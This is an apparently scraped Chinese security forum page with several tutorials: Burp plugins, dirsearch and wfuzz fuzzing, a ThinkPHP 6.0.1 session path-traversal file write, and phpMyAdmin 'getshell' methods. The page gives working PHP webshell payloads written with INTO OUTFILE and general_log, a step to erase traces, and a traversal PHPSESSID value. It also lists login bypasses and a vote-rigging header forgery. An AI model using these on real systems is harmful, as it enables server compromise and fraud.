另外也能看到一些服务器的信息。

4.png


0x02
BypassWAF
我们在渗透测试有时遇到WAF(应用层防火墙),这往往令人头疼。Burp Suite是响当当的web应用程序渗透测试集成平台,而这款插件可以帮助你绕过某些WAF。

5.png

 
 
0x03
CSRF Scanner

6.png

 
也就是可以自动化检测csrf的工具
 

7.png

 
0x04
 CO2
也就是能快捷启动sqlmap,当然可以设置各种payload。

8.png

还可以指定注入方式等。

9.png


10.png

 
0x05
xssValidator
同样的方法安装完之后。
跟爆破的方法一样
发送到intruder
设置关键词为123456

11.png

其他按下图设置

12.png


13.png

然后直接跑即可

01.png

因为我的留言板没加过滤,所以这些xss代码都能成功,我们判断这的依据也是后边的长度。
 
0x06
参考文章链接
https://blog.csdn.net/a15803617402/article/details/84880219
https://www.freebuf.com/sectool/158005.html
 
 
 

 
 
 
 
 

Fuzz测试初级学习

Web安全渗透muyu 发表了文章 • 0 个评论 • 571 次浏览 • 2020-02-16 17:28 • 来自相关话题

漏洞挖掘有三种方法:白盒代码审计、灰盒逆向工程、黑盒测试。
其中黑盒的Fuzz测试是效率最高的一种,能够快速验证大量潜在的安全威胁。
 
0x00什么是Fuzz测试?
fuzz工具非常多 如 libfuzz honggfuzz KernelFuzzer 也有专注进行web fuzz的wfuzz 但是fuzz功能可以分成两种 只是生成测试用例和检测程序使用测试用例后异常  这次使用radamsa和afl作为这两类工具
 
Fuzz测试,也叫做“模糊测试”,是一种挖掘软件安全漏洞、检测软件健壮性的黑盒测试,它通过向软件输入非法的字段,观测被测试软件是否异常而实现。Fuzz测试的概念非常容易理解,如果我们构造非法的报文并且通过测试工具打入被测设备,那么这就是一个Fuzz测试的测试例执行,大多数测试工程师肯定都尝试过这种测试手段。
 
对于网络协议漏洞挖掘来说,Fuzz测试也就意味着打入各种异常报文,然后观察设备是否有异常。
0x01Dirsearch
dirsearch是一个基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件
kali里面并没有dirsearch,需要从github下载!
下载地址:git clone https://github.com/maurosoria/dirsearch
并进入下载目录
cd dirsearch/
运行需要python环境,这里使用python3python3 dirsearch.py -u "http://localhost/" -e *




扫描网站需要指定网站的脚本类型, 为全部类型的脚本*
参数列表:
-h, --help 查看帮助
-u URL, --url=URL 设置url
-L URLLIST, --url-list=URLLIST 设置url列表
-e EXTENSIONS, --extensions=EXTENSIONS 网站脚本类型
-w WORDLIST, --wordlist=WORDLIST 设置字典
-l, --lowercase 小写
-f, --force-extensions 强制扩展字典里的每个词条
-s DELAY, --delay=DELAY 设置请求之间的延时
-r, --recursive Bruteforce recursively 递归地扫描
–scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS 扫描给定的url的子目录(用逗号隔开)
–exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS 在递归过程中排除指定的 子目录扫描(用逗号隔开)
-t THREADSCOUNT, --threads=THREADSCOUNT 设置扫描线程
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES 排除指定的网站状态码(用逗 号隔开)
-c COOKIE, --cookie=COOKIE 设置cookie
–ua=USERAGENT, --user-agent=USERAGENT 设置用户代理
-F, --follow-redirects 跟随地址重定向扫描
-H HEADERS, --header=HEADERS 设置请求头
–random-agents, --random-user-agents 设置随机代理
–timeout=TIMEOUT 设置超时时间
–ip=IP 设置代理IP地址
–proxy=HTTPPROXY, --http-proxy=HTTPPROXY 设置http代理。例如127.0.0.1:8080
–max-retries=MAXRETRIES 设置最大的重试次数
-b, --request-by-hostname 通过主机名请求速度,默认通过IP
–simple-report=SIMPLEOUTPUTFILE 保存结果,发现的路径
–plain-text-report=PLAINTEXTOUTPUTFILE 保存结果,发现的路径和状态码
–json-report=JSONOUTPUTFILE 以json格式保存结果
 
0x02Wfuzz
Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。比如:参数、认证、表单、目录/文件、头部等等,这款工具在kali里面自带,很方便使用。





 
Wfuzz找到下面的漏洞
可预测的认证可预测的session标志(session id)可预测的资源定位(目录和文件)注入路径遍历溢出跨站脚本认证漏洞不安全的直接对象引用…
使用
Wfuzz爆破文件:
wfuzz -w wordlist URL/FUZZ.php
Wfuzz爆破目录:
wfuzz -w wordlist URL/FUZZ
遍历枚举参数值:
e.g. 假如你发现了一个未授权漏洞,地址为:http://127.0.0.1/getuser.php?uid=123 可获取uid为123的个人信息
uid参数可以遍历,已知123为三位数纯数字,需要从000-999进行遍历,也可以使用wfuzz来完成:
wfuzz -z range,000-999 http://127.0.0.1/getuser.php?uid=FUZZ
Cookie测试:
上文 遍历枚举参数值 中说到有未授权漏洞,假设这个漏洞是越权漏洞,要做测试的肯定需要让wfuzz知道你的Cookie才能做测试。
如下命令即可携带上Cookie:
wfuzz -z range,000-999 -b session=session -b cookie=cookie http://127.0.0.1/getuser.php?uid=FUZZ
HTTP Headers测试:
e.g. 发现一个刷票的漏洞,这个漏洞需要伪造XFF头(IP)可达到刷票的效果,投票的请求为GET类型,地址为:http://127.0.0.1/get.php?userid=666。
那么现在我想给userid为666的朋友刷票,可以使用wfuzz完成这类操作:
wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666
结束语
对于fuzz还有很多知识点,还需要一段时间去学习,当然,当你面对waf无所适从的时候,这时候你就可以Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的姿势!
 
参考文章:
https://blog.csdn.net/JBlock/article/details/88619117
 
http://www.h3c.com/cn/d_201501/852549_30008_0.htm
 
https://blog.csdn.net/JBlock/article/details/88624657 查看全部
漏洞挖掘有三种方法:白盒代码审计、灰盒逆向工程、黑盒测试。
其中黑盒的Fuzz测试是效率最高的一种,能够快速验证大量潜在的安全威胁。
 
0x00什么是Fuzz测试?
fuzz工具非常多 如 libfuzz honggfuzz KernelFuzzer 也有专注进行web fuzz的wfuzz 但是fuzz功能可以分成两种 只是生成测试用例和检测程序使用测试用例后异常  这次使用radamsa和afl作为这两类工具
 
Fuzz测试,也叫做“模糊测试”,是一种挖掘软件安全漏洞、检测软件健壮性的黑盒测试,它通过向软件输入非法的字段,观测被测试软件是否异常而实现。Fuzz测试的概念非常容易理解,如果我们构造非法的报文并且通过测试工具打入被测设备,那么这就是一个Fuzz测试的测试例执行,大多数测试工程师肯定都尝试过这种测试手段。
 
对于网络协议漏洞挖掘来说,Fuzz测试也就意味着打入各种异常报文,然后观察设备是否有异常。
0x01Dirsearch
dirsearch是一个基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件
kali里面并没有dirsearch,需要从github下载!
下载地址:git clone https://github.com/maurosoria/dirsearch
并进入下载目录
cd dirsearch/

运行需要python环境,这里使用python3
python3 dirsearch.py -u "http://localhost/" -e *

01.png

扫描网站需要指定网站的脚本类型, 为全部类型的脚本*
参数列表:
-h, --help 查看帮助
-u URL, --url=URL 设置url
-L URLLIST, --url-list=URLLIST 设置url列表
-e EXTENSIONS, --extensions=EXTENSIONS 网站脚本类型
-w WORDLIST, --wordlist=WORDLIST 设置字典
-l, --lowercase 小写
-f, --force-extensions 强制扩展字典里的每个词条
-s DELAY, --delay=DELAY 设置请求之间的延时
-r, --recursive Bruteforce recursively 递归地扫描
–scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS 扫描给定的url的子目录(用逗号隔开)
–exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS 在递归过程中排除指定的 子目录扫描(用逗号隔开)
-t THREADSCOUNT, --threads=THREADSCOUNT 设置扫描线程
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES 排除指定的网站状态码(用逗 号隔开)
-c COOKIE, --cookie=COOKIE 设置cookie
–ua=USERAGENT, --user-agent=USERAGENT 设置用户代理
-F, --follow-redirects 跟随地址重定向扫描
-H HEADERS, --header=HEADERS 设置请求头
–random-agents, --random-user-agents 设置随机代理
–timeout=TIMEOUT 设置超时时间
–ip=IP 设置代理IP地址
–proxy=HTTPPROXY, --http-proxy=HTTPPROXY 设置http代理。例如127.0.0.1:8080
–max-retries=MAXRETRIES 设置最大的重试次数
-b, --request-by-hostname 通过主机名请求速度,默认通过IP
–simple-report=SIMPLEOUTPUTFILE 保存结果,发现的路径
–plain-text-report=PLAINTEXTOUTPUTFILE 保存结果,发现的路径和状态码
–json-report=JSONOUTPUTFILE 以json格式保存结果
 
0x02Wfuzz
Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。比如:参数、认证、表单、目录/文件、头部等等,这款工具在kali里面自带,很方便使用。

02.png

 
Wfuzz找到下面的漏洞
  • 可预测的认证
  • 可预测的session标志(session id)
  • 可预测的资源定位(目录和文件)
  • 注入
  • 路径遍历
  • 溢出
  • 跨站脚本
  • 认证漏洞
  • 不安全的直接对象引用

使用
Wfuzz爆破文件:
wfuzz -w wordlist URL/FUZZ.php

Wfuzz爆破目录:
wfuzz -w wordlist URL/FUZZ

遍历枚举参数值:
e.g. 假如你发现了一个未授权漏洞,地址为:http://127.0.0.1/getuser.php?uid=123 可获取uid为123的个人信息
uid参数可以遍历,已知123为三位数纯数字,需要从000-999进行遍历,也可以使用wfuzz来完成:
wfuzz -z range,000-999 http://127.0.0.1/getuser.php?uid=FUZZ

Cookie测试:
上文 遍历枚举参数值 中说到有未授权漏洞,假设这个漏洞是越权漏洞,要做测试的肯定需要让wfuzz知道你的Cookie才能做测试。
如下命令即可携带上Cookie:
wfuzz -z range,000-999 -b session=session -b cookie=cookie http://127.0.0.1/getuser.php?uid=FUZZ

HTTP Headers测试:
e.g. 发现一个刷票的漏洞,这个漏洞需要伪造XFF头(IP)可达到刷票的效果,投票的请求为GET类型,地址为:http://127.0.0.1/get.php?userid=666。
那么现在我想给userid为666的朋友刷票,可以使用wfuzz完成这类操作:
wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666

结束语
对于fuzz还有很多知识点,还需要一段时间去学习,当然,当你面对waf无所适从的时候,这时候你就可以Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的姿势!
 
参考文章:
https://blog.csdn.net/JBlock/article/details/88619117
 
http://www.h3c.com/cn/d_201501/852549_30008_0.htm
 
https://blog.csdn.net/JBlock/article/details/88624657

代码审计-thinkphp6.0.1任意文件创建

代码白盒测试lzy_smile 发表了文章 • 2 个评论 • 327 次浏览 • 2020-02-16 12:17 • 来自相关话题

前段时间think PHP6.0.2发布,在官网的think PHP6的讨论区发布修复了一处Session安全隐患,该处漏洞可以使攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件,在特定情况下也可以getshell.
受影响的版本有think PHP6.0.0-6.0.1
0x01  漏洞复现
复现环境采用了thinkphp6.0.1+php7.1.13+nginx1.11.5 进行复现
首先使用composer创建think PHP6的框架目录
Composer create-project topthink/think tp6
因为这个是默认的最新版本,所以要去对其进行降级处理.修改根目录下的composer.json文件,如图所示:
 
然后执行composer update
图一





 
因为在tp6中默认是没有开启session功能,我们要去取消session中间件的注释.文件是app/middleware.php,如图所示:





 
图二
 
然后我们在public的目录下修改index.php,添加我们需要的代码.
如图所示:





 
图三
 
我们抓取数据包在burp里的repeater模块进行处理,





 
图四
然后我们在本地根目录下的\tp6\runtime\session中找到了我们刚刚写入的php文件





 
图五
 
但是默认的情况下thinkphp的网站把/public设置为网站的根目录,而生成的文件是在\runtime\session下,默认访问不到,所以我们可以用这个方法去饶过它
PHPSESSID=/../../../public/thisisaflag.php





 
图六
访问thisisaflag.php





 
图七
这个时候我们就在他的public目录下创建了一个thisisaflag.php文件
 
我们接下来如何想getshell呢?
我们绕过了访问文件的限制,接下来只要能够控制文件内容即可.我们放入另外一段测试代码,





 
图八
 
接着我们写入代码进行测试





 
图九
试着访问一下





 
图十
成功了!!!
 
0x02漏洞分析
在官方的文档上是对\vendor\topthink\framework\src\think\session\store.php中的setId()函数进行修改





 
图十一
我们可以看到这个函数只对获取到的id进行长度和是否是字符串进行检测!
接下来找到调用setid()的地方
vendor/topthink/framework/src/think/middleware/SessionInit.php





 
图十二
其中cookiename的值为PHPSESSION,而$sessionid是cookie中名为PHPSESSION的值,因此是攻击者可控的.
 
既然有setId()就有getId()





 
图十三
然后看看在哪里调用了getId()
在下面的save()函数里面调用了getId(),接着把得到的值传给了write()函数





 
图十四
跟踪这个函数,可以看到.





 
图十五
再继续跟踪writefile()函数





 
图16
 
确定是写入文件的操作!!!
 
再反向看一下,
1.函数file_put_contents($path,$content,LOCK_EX)中参数$path,$content来源于函数writeFile($path,$data)
2.函数writeFile($path,$data)中参数$path,$data来源于函数write(String $sessionID,String $sessiData)
3.函数write(String $sessionID,String $sessiData)中参数$sessionID,$sessiData来源于save()中调用了write(),同时传入的参数$sessionId的值是调用getId()传入的
综上:文件名来源于$sessionId
而$sessionid是可控的,所以可以写入文件!!!
 
 
0x03  思路小结
这里对这个漏洞进行分析时,已经知道在setid()函数处存在漏洞,对获取到的PHPSESSION值可控,然后在向服务器存储session文件时也没有检测,可以直接写入php文件,但是在tp6下,session不是默认启动的,所以在默认情况下不能利用.在目标环境开启session且写入的session可控的情况下,容易遭受任意文件写入攻击
代码审计刚开始,不足之处各位表哥多多指教! 查看全部
前段时间think PHP6.0.2发布,在官网的think PHP6的讨论区发布修复了一处Session安全隐患,该处漏洞可以使攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件,在特定情况下也可以getshell.
受影响的版本有think PHP6.0.0-6.0.1
0x01  漏洞复现
复现环境采用了thinkphp6.0.1+php7.1.13+nginx1.11.5 进行复现
首先使用composer创建think PHP6的框架目录
Composer create-project topthink/think tp6

因为这个是默认的最新版本,所以要去对其进行降级处理.修改根目录下的composer.json文件,如图所示:
 
然后执行
composer update  

图一

1.png

 
因为在tp6中默认是没有开启session功能,我们要去取消session中间件的注释.文件是app/middleware.php,如图所示:

2.png

 
图二
 
然后我们在public的目录下修改index.php,添加我们需要的代码.
如图所示:

3.png

 
图三
 
我们抓取数据包在burp里的repeater模块进行处理,

4.png

 
图四
然后我们在本地根目录下的\tp6\runtime\session中找到了我们刚刚写入的php文件

5.png

 
图五
 
但是默认的情况下thinkphp的网站把/public设置为网站的根目录,而生成的文件是在\runtime\session下,默认访问不到,所以我们可以用这个方法去饶过它
PHPSESSID=/../../../public/thisisaflag.php

6.png

 
图六
访问thisisaflag.php

7.png

 
图七
这个时候我们就在他的public目录下创建了一个thisisaflag.php文件
 
我们接下来如何想getshell呢?
我们绕过了访问文件的限制,接下来只要能够控制文件内容即可.我们放入另外一段测试代码,

8.png

 
图八
 
接着我们写入代码进行测试

9.png

 
图九
试着访问一下

10.png

 
图十
成功了!!!
 
0x02漏洞分析
在官方的文档上是对\vendor\topthink\framework\src\think\session\store.php中的setId()函数进行修改

11.png

 
图十一
我们可以看到这个函数只对获取到的id进行长度和是否是字符串进行检测!
接下来找到调用setid()的地方
vendor/topthink/framework/src/think/middleware/SessionInit.php

12.jpg

 
图十二
其中cookiename的值为PHPSESSION,而$sessionid是cookie中名为PHPSESSION的值,因此是攻击者可控的.
 
既然有setId()就有getId()

13.png

 
图十三
然后看看在哪里调用了getId()
在下面的save()函数里面调用了getId(),接着把得到的值传给了write()函数

14.jpg

 
图十四
跟踪这个函数,可以看到.

15.jpg

 
图十五
再继续跟踪writefile()函数

16.jpg

 
图16
 
确定是写入文件的操作!!!
 
再反向看一下,
1.函数file_put_contents($path,$content,LOCK_EX)中参数$path,$content来源于函数writeFile($path,$data)
2.函数writeFile($path,$data)中参数$path,$data来源于函数write(String $sessionID,String $sessiData)
3.函数write(String $sessionID,String $sessiData)中参数$sessionID,$sessiData来源于save()中调用了write(),同时传入的参数$sessionId的值是调用getId()传入的
综上:文件名来源于$sessionId
而$sessionid是可控的,所以可以写入文件!!!
 
 
0x03  思路小结
这里对这个漏洞进行分析时,已经知道在setid()函数处存在漏洞,对获取到的PHPSESSION值可控,然后在向服务器存储session文件时也没有检测,可以直接写入php文件,但是在tp6下,session不是默认启动的,所以在默认情况下不能利用.在目标环境开启session且写入的session可控的情况下,容易遭受任意文件写入攻击
代码审计刚开始,不足之处各位表哥多多指教!

简述phpMyadmin如何getshell

Web安全渗透zh_smile 发表了文章 • 1 个评论 • 686 次浏览 • 2020-02-14 14:14 • 来自相关话题

一.phpMyadmin介绍
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

二.信息收集
需要收集的是网站物理路径,否则后续无法通过URL连接Shell

(1)物理路径
查询数据库存储路径来推测网站物理路径,也可以通过log变量得到select @@datadir;




配置文件爆路径:如果注入点有文件读取权限,可通过load_file尝试读取配置文件
[code] # Windows
c:\windows\php.ini # php配置文件
c:\windows\system32\inetsrv\MetaBase.xml # IIS虚拟主机配置文件
# Linux
/etc/php.ini # php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf # Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件[/code]
单引号爆路径:直接在URL后面加单引号。要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.abc.com/index.php?id=1'错误参数值爆路径:尝试将要提交的参数值改成错误值。
www.abc.com/index.php?id=-1Nginx文件类型错误解析爆路径:要求Web服务器是Nginx,且存在文件类型解析漏洞。在图片地址后添加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。www.abc.com/bg.jpg/x.phpGoogle爆路径site:xxx.com warning
site:xxx.com “fatal error”测试文件爆路径www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php其它 phpMyAdmin/libraries/selectlang.lib.php
phpMyAdmin/darkblueorange/layout.inc.php
phpmyadmin/themes/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
(2)其他信息
phpMyadmin后台面板可以直接看到MySQL版本、当前用户、操作系统、PHP版本、phpMyadmin版本等信息
也可以通过SQL查询得到其它信息select version(); -- 查看数据库版本select @@datadir; -- 查看数据库存储路径show VARIABLES like '%char%'; -- 查看系统变量三.Getshell前提以及三种方法
(1)前提条件
1.网站真实路径。如果不知道网站真实路径则后续无法通过URL的方式连shell
 
2.读写权限。查询secure_file_priv参数,查看是否具有读写文件权限,若为NULL则没有办法写入shell。这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效[code] select @@secure_file_priv -- 查询secure_file_priv
-- secure_file_priv=NULL,禁止导入导出
-- secure_file_priv='',不限制导入导出
-- secure_file_priv=/path/,只能向指定目录导入导出
select load_file('c:/phpinfo.php'); -- 读取文件
select '123' into outfile 'c:/shell.php'; -- 写入文件[/code](2)三种方法
 
1.常规GetShell
直接通过SQL查询写入shell 
[code] -- 假设物理路径为 "E:\phpStudy\WWW"
select '<?php eval($_POST["123"]);?>' into outfile 'E:/phpStudy/WWW/shell.php';[/code]
2.日志GetShell
MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。
 
查询日志全局变量
[code]show variables like '%general%';
Variable_name Value
general_log OFF
general_log_file E:\phpStudy\MySQL\data\FengSec.log[/code]
general_log:日志保存状态
general_log_file:日志保存路径
开启日志保存并配置保存路径[code] set global general_log = "ON"; -- 打开日志保存
set global general_log_file = "E:/phpstudy/WWW/log.php"; -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接[/code]
写shell
[code] select '<?php eval($_POST[123]); ?>';[/code]3.新表GetShell
进入一个数据库,新建数据表。名字随意,这里为shell_table,字段数填1





 
添加字段,字段名任意,这里为zhsmile,字段类型为TEXT





 
在该表中点击插入,值为一句话木马<?php eval($_POST[123]); ?>




 
执行SQL查询,将该表中的内容导出到指定文件
[code] -- 假设物理路径为 "E:\phpStudy\WWW"
select * from shell_table into outfile "E:/phpstudy/WWW/shell.php";[/code]









 
删除该表,抹除痕迹Drop TABLE IF EXISTS shell_table;
以上步骤也可以通过MySQL语句执行
[code] Create TABLE shell_table (xiaoma text NOT NULL) -- 建表
Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>'); -- 写入
select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php'; -- 导出
Drop TABLE IF EXISTS shell_table; -- 删表[/code](3)特殊版本GetShell
CVE-2013-3238

影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
利用模块:exploit/multi/http/phpmyadminpregreplace

CVE-2012-5159

影响版本:phpMyAdmin v3.5.2.2
利用模块:exploit/multi/http/phpmyadmin3522_backdoor

CVE-2009-1151

PhpMyAdmin配置文件/config/config.inc.php存在命令执行
影响版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
利用模块:exploit/unix/webapp/phpmyadmin_config

弱口令&万能密码

弱口令:版本phpmyadmin2.11.9.2, 直接root用户登陆,无需密码
万能密码:版本2.11.3 / 2.11.4,用户名’localhost’@'@”则登录成功

 
 
 
 
备注:文章转载自FreeBuf.COM
https://www.freebuf.com/articles/web/226240.html 查看全部
一.phpMyadmin介绍
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

二.信息收集
需要收集的是网站物理路径,否则后续无法通过URL连接Shell

(1)物理路径
查询数据库存储路径来推测网站物理路径,也可以通过log变量得到
select @@datadir;

TA5)T)C@BYOZ87H4S_X6C3.png

配置文件爆路径:如果注入点有文件读取权限,可通过load_file尝试读取配置文件
[code] # Windows
c:\windows\php.ini # php配置文件
c:\windows\system32\inetsrv\MetaBase.xml # IIS虚拟主机配置文件
# Linux
/etc/php.ini # php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf # Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf # 虚拟目录配置文件
[/code]
单引号爆路径:直接在URL后面加单引号。要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.abc.com/index.php?id=1'
错误参数值爆路径:尝试将要提交的参数值改成错误值。
www.abc.com/index.php?id=-1
Nginx文件类型错误解析爆路径:要求Web服务器是Nginx,且存在文件类型解析漏洞。在图片地址后添加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。
www.abc.com/bg.jpg/x.php
Google爆路径
site:xxx.com warning
site:xxx.com “fatal error”
测试文件爆路径
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
其它
 phpMyAdmin/libraries/selectlang.lib.php 
phpMyAdmin/darkblueorange/layout.inc.php
phpmyadmin/themes/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php

(2)其他信息
phpMyadmin后台面板可以直接看到MySQL版本、当前用户、操作系统、PHP版本、phpMyadmin版本等信息
也可以通过SQL查询得到其它信息
select version(); -- 查看数据库版本
select @@datadir; -- 查看数据库存储路径
show VARIABLES like '%char%'; -- 查看系统变量
三.Getshell前提以及三种方法
(1)前提条件
1.网站真实路径。如果不知道网站真实路径则后续无法通过URL的方式连shell
 
2.读写权限。查询secure_file_priv参数,查看是否具有读写文件权限,若为NULL则没有办法写入shell。这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效
[code] select @@secure_file_priv   -- 查询secure_file_priv
-- secure_file_priv=NULL,禁止导入导出
-- secure_file_priv='',不限制导入导出
-- secure_file_priv=/path/,只能向指定目录导入导出
select load_file('c:/phpinfo.php'); -- 读取文件
select '123' into outfile 'c:/shell.php'; -- 写入文件
[/code](2)三种方法
 
1.常规GetShell
直接通过SQL查询写入shell 
[code] -- 假设物理路径为 "E:\phpStudy\WWW"
select '<?php eval($_POST["123"]);?>' into outfile 'E:/phpStudy/WWW/shell.php';
[/code]
2.日志GetShell
MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。
 
查询日志全局变量
[code]show variables like '%general%';
Variable_name Value
general_log OFF
general_log_file E:\phpStudy\MySQL\data\FengSec.log
[/code]
general_log:日志保存状态
general_log_file:日志保存路径
开启日志保存并配置保存路径
[code] set global general_log = "ON";    -- 打开日志保存
set global general_log_file = "E:/phpstudy/WWW/log.php"; -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接
[/code]
写shell
[code] select '<?php eval($_POST[123]); ?>';
[/code]3.新表GetShell
进入一个数据库,新建数据表。名字随意,这里为shell_table,字段数填1

K~H()(5C{5I~`A7C8DZ]2.png

 
添加字段,字段名任意,这里为zhsmile,字段类型为TEXT

YI`K7IJH}(U{E5[~8U@8A6.png

 
在该表中点击插入,值为一句话木马
<?php eval($_POST[123]); ?>

W_CTZ@8AMPB66VBHNHR7FK.png

 
执行SQL查询,将该表中的内容导出到指定文件
[code] -- 假设物理路径为 "E:\phpStudy\WWW"
select * from shell_table into outfile "E:/phpstudy/WWW/shell.php";
[/code]
UJOM[@Z_P]59}UI86(QAK6F.png


[B8U71M31NQWV`CPF)77HO2.png

 
删除该表,抹除痕迹
Drop TABLE IF EXISTS shell_table;

以上步骤也可以通过MySQL语句执行
[code] Create TABLE shell_table (xiaoma text NOT NULL) -- 建表
Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>'); -- 写入
select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php'; -- 导出
Drop TABLE IF EXISTS shell_table; -- 删表
[/code](3)特殊版本GetShell
CVE-2013-3238


影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
利用模块:exploit/multi/http/phpmyadminpregreplace


CVE-2012-5159


影响版本:phpMyAdmin v3.5.2.2
利用模块:exploit/multi/http/phpmyadmin3522_backdoor


CVE-2009-1151


PhpMyAdmin配置文件/config/config.inc.php存在命令执行
影响版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
利用模块:exploit/unix/webapp/phpmyadmin_config


弱口令&万能密码


弱口令:版本phpmyadmin2.11.9.2, 直接root用户登陆,无需密码
万能密码:版本2.11.3 / 2.11.4,用户名’localhost’@'@”则登录成功


 
 
 
 
备注:文章转载自FreeBuf.COM
https://www.freebuf.com/articles/web/226240.html

OneForAll功能强大的子域名收集工具

Einzben 发表了文章 • 0 个评论 • 383 次浏览 • 2020-02-07 18:56 • 来自相关话题

 
米斯特安全团队OneForAll 简介
在渗透测试中信息的重要性不言而喻,收集是信息收集中必不可少且非常重要的一环,目前网上也开源了许多子域收集的工具,但是总是存在以下部分问题:
不够强大,子域收集的接口不够多,不能做到对批量子域自动收集,没有自动子域解析,验证  fuzz以及信息拓展等功能。不够友好,固然命令行模块比较方便,但是当可选的参数很多,要实现的操作复杂,用命令行模式就有点不够友好,如果有交互良好,高可操作的前端那么使用体验就会好很多。缺少维护,很多工具几年没有更新过一次,issues和PR是啥,不存在的。效率问题,没有利用多进程,多线程以及异步协程技术,速度较慢。为了解决以上痛点,此项目应用而生, oneforall是一款集百家之长,功能强大的全面快速子域收集终极神器。


